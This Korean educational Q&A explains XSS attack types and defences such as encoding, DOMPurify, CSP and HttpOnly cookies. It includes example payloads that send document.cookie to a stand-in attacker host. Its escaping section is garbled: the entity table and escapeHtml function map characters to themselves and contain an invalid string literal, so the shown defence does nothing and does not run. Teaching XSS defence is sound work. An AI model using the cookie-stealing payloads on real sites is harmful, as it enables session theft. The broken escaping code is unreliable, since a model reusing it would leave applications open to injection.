XSS(Cross-Site Scripting)란 무엇이며 방어 방법은 무엇인가요?
힌트
사용자 입력값 검증과 출력 인코딩을 생각해보세요.
정답 및 해설
XSS(Cross-Site Scripting)란 무엇이며 방어 방법은 무엇인가요?
XSS(Cross-Site Scripting)는 공격자가 악성 스크립트를 웹 페이지에 삽입하여 다른 사용자의 브라우저에서 해당 스크립트를 실행시키는 공격입니다. 공격자는 이를 통해 세션 쿠키를 탈취하거나, 사용자를 피싱 사이트로 리다이렉트하거나, 페이지 내용을 변조할 수 있습니다.
XSS 공격의 유형
1. 저장형 XSS (Stored XSS / Persistent XSS)
공격자가 악성 스크립트를 서버 데이터베이스에 저장합니다. 다른 사용자가 해당 데이터를 조회할 때 스크립트가 실행됩니다. 피해 범위가 가장 넓습니다.
공격 흐름:
1. 공격자가 게시판에 악성 스크립트가 포함된 게시글 작성
2. 서버 DB에 악성 스크립트가 저장됨
3. 다른 사용자가 해당 게시글을 조회
4. 브라우저가 스크립트를 실행 → 쿠키 탈취, 피싱 등
예시 — 게시글에 삽입된 악성 코드:
<!-- 공격자가 게시글 내용으로 입력한 텍스트 -->
<script>
// 사용자의 세션 쿠키를 공격자 서버로 전송
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
2. 반사형 XSS (Reflected XSS / Non-Persistent XSS)
악성 스크립트를 URL 파라미터에 포함시킵니다. 서버가 이 값을 검증 없이 응답에 그대로 반환하면, 해당 URL을 클릭한 사용자의 브라우저에서 스크립트가 실행됩니다.
공격 흐름:
1. 공격자가 악성 URL을 이메일/채팅으로 전송
2. 사용자가 URL 클릭 → 서버에 요청
3. 서버가 URL 파라미터 값을 응답 HTML에 그대로 포함
4. 브라우저가 응답 파싱 중 스크립트 실행
예시 — 취약한 검색 페이지:
악성 URL:
https://example.com/search?q=<script>document.location='https://attacker.com?c='+document.cookie</script>
서버의 취약한 응답:
<p>검색 결과: <script>document.location='https://attacker.com?c='+document.cookie</script></p>
3. DOM 기반 XSS (DOM-based XSS)
서버를 거치지 않고 클라이언트 사이드 JavaScript가 DOM을 조작하는 과정에서 발생합니다. document.URL, location.hash, document.write() 등을 안전하지 않게 사용할 때 나타납니다.
// 취약한 코드 예시
// URL의 hash 값을 그대로 innerHTML에 삽입
const name = location.hash.slice(1); // #<img src=x onerror=alert(1)>
document.getElementById('greeting').innerHTML = '안녕하세요, ' + name;
// → onerror 이벤트 핸들러가 실행됨
방어 방법
1. 출력 시 HTML 인코딩 / 이스케이프
사용자 입력값을 HTML에 출력할 때 특수 문자를 HTML 엔티티로 변환합니다. 브라우저가 스크립트로 해석하지 않고 텍스트로 표시합니다.
변환 규칙:
& → &
< → <
> → >
" → "
' → '
/ → /
// 직접 구현 예시 (Node.js)
function escapeHtml(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// 취약한 코드
res.send(`<p>검색어: ${userInput}</p>`);
// 안전한 코드
res.send(`<p>검색어: ${escapeHtml(userInput)}</p>`);
2. 입력값 검증 및 화이트리스트 필터링
서버와 클라이언트 모두에서 입력값을 검증합니다. 허용할 값의 목록(화이트리스트)을 정의하고 그 외는 거부합니다.
// 서버 사이드 검증 (Express.js + express-validator)
import { body, validationResult } from 'express-validator';
app.post('/comment', [
body('content')
.trim()
.isLength({ min: 1, max: 1000 })
.escape(), // HTML 특수문자 이스케이프
], (req, res) => {
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}
// 저장 로직
});
HTML 허용이 필요한 경우(WYSIWYG 에디터 등)에는 DOMPurify 같은 라이브러리로 안전한 태그만 허용합니다.
import DOMPurify from 'dompurify';
// 허용된 태그와 속성만 남기고 나머지는 제거
const clean = DOMPurify.sanitize(userInput, {
ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a'],
ALLOWED_ATTR: ['href']
});
document.getElementById('content').innerHTML = clean;
3. Content Security Policy (CSP) 헤더
HTTP 응답 헤더로 어떤 출처에서 스크립트를 실행할 수 있는지 브라우저에 지시합니다. 인라인 스크립트 실행을 차단하는 것이 핵심입니다.
// CSP 헤더 설정 예시
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.example.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
object-src 'none'
// Express.js에서 Helmet 라이브러리로 CSP 설정
import helmet from 'helmet';
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"], // 인라인 스크립트 차단
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https:"],
objectSrc: ["'none'"],
},
}));
CSP가 설정되면 <script>alert(1)</script> 같은 인라인 스크립트와 허용되지 않은 외부 스크립트를 브라우저가 실행하지 않습니다.
4. HttpOnly 쿠키 설정
세션 쿠키에 HttpOnly 속성을 설정하면 JavaScript에서 document.cookie로 접근 불가합니다. XSS로 쿠키를 훔치는 공격을 직접적으로 차단합니다.
// Express.js 세션 쿠키 설정
app.use(session({
secret: process.env.SESSION_SECRET,
cookie: {
httpOnly: true, // JS에서 접근 불가
secure: true, // HTTPS에서만 전송
sameSite: 'strict' // CSRF 방어도 추가
}
}));
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict
5. React의 자동 이스케이프
React는 JSX에서 문자열을 렌더링할 때 자동으로 HTML 이스케이프를 수행합니다. 대부분의 XSS 공격이 자동으로 방어됩니다.
// 안전: React가 자동으로 이스케이프 처리
const userInput = '<script>alert("xss")</script>';
return <div>{userInput}</div>;
// 렌더링 결과: <script>alert("xss")</script>
// 위험: dangerouslySetInnerHTML은 이스케이프 없이 HTML 삽입
return <div dangerouslySetInnerHTML={{ __html: userInput }} />;
// 반드시 DOMPurify로 sanitize 후 사용
return <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userInput) }} />;
방어 전략 요약
| 방어 방법 | 대응하는 XSS 유형 | 설명 |
|---|---|---|
| 출력 시 HTML 인코딩 | 저장형, 반사형 | 특수 문자를 HTML 엔티티로 변환 |
| 입력값 검증/필터링 | 저장형, 반사형 | DOMPurify로 안전한 HTML만 허용 |
| CSP 헤더 | 모든 유형 | 허용된 출처의 스크립트만 실행 |
| HttpOnly 쿠키 | 모든 유형 | JS에서 쿠키 접근 차단 |
| DOM API 안전 사용 | DOM 기반 | innerHTML 대신 textContent 사용 |
| React JSX 사용 | 모든 유형 | 자동 이스케이프로 기본 방어 |
XSS 방어의 핵심은 신뢰할 수 없는 모든 데이터를 출력할 때 컨텍스트에 맞게 이스케이프하는 것입니다. 단일 방어책에 의존하지 않고 여러 계층의 방어(Defense in Depth)를 적용하는 것이 중요합니다.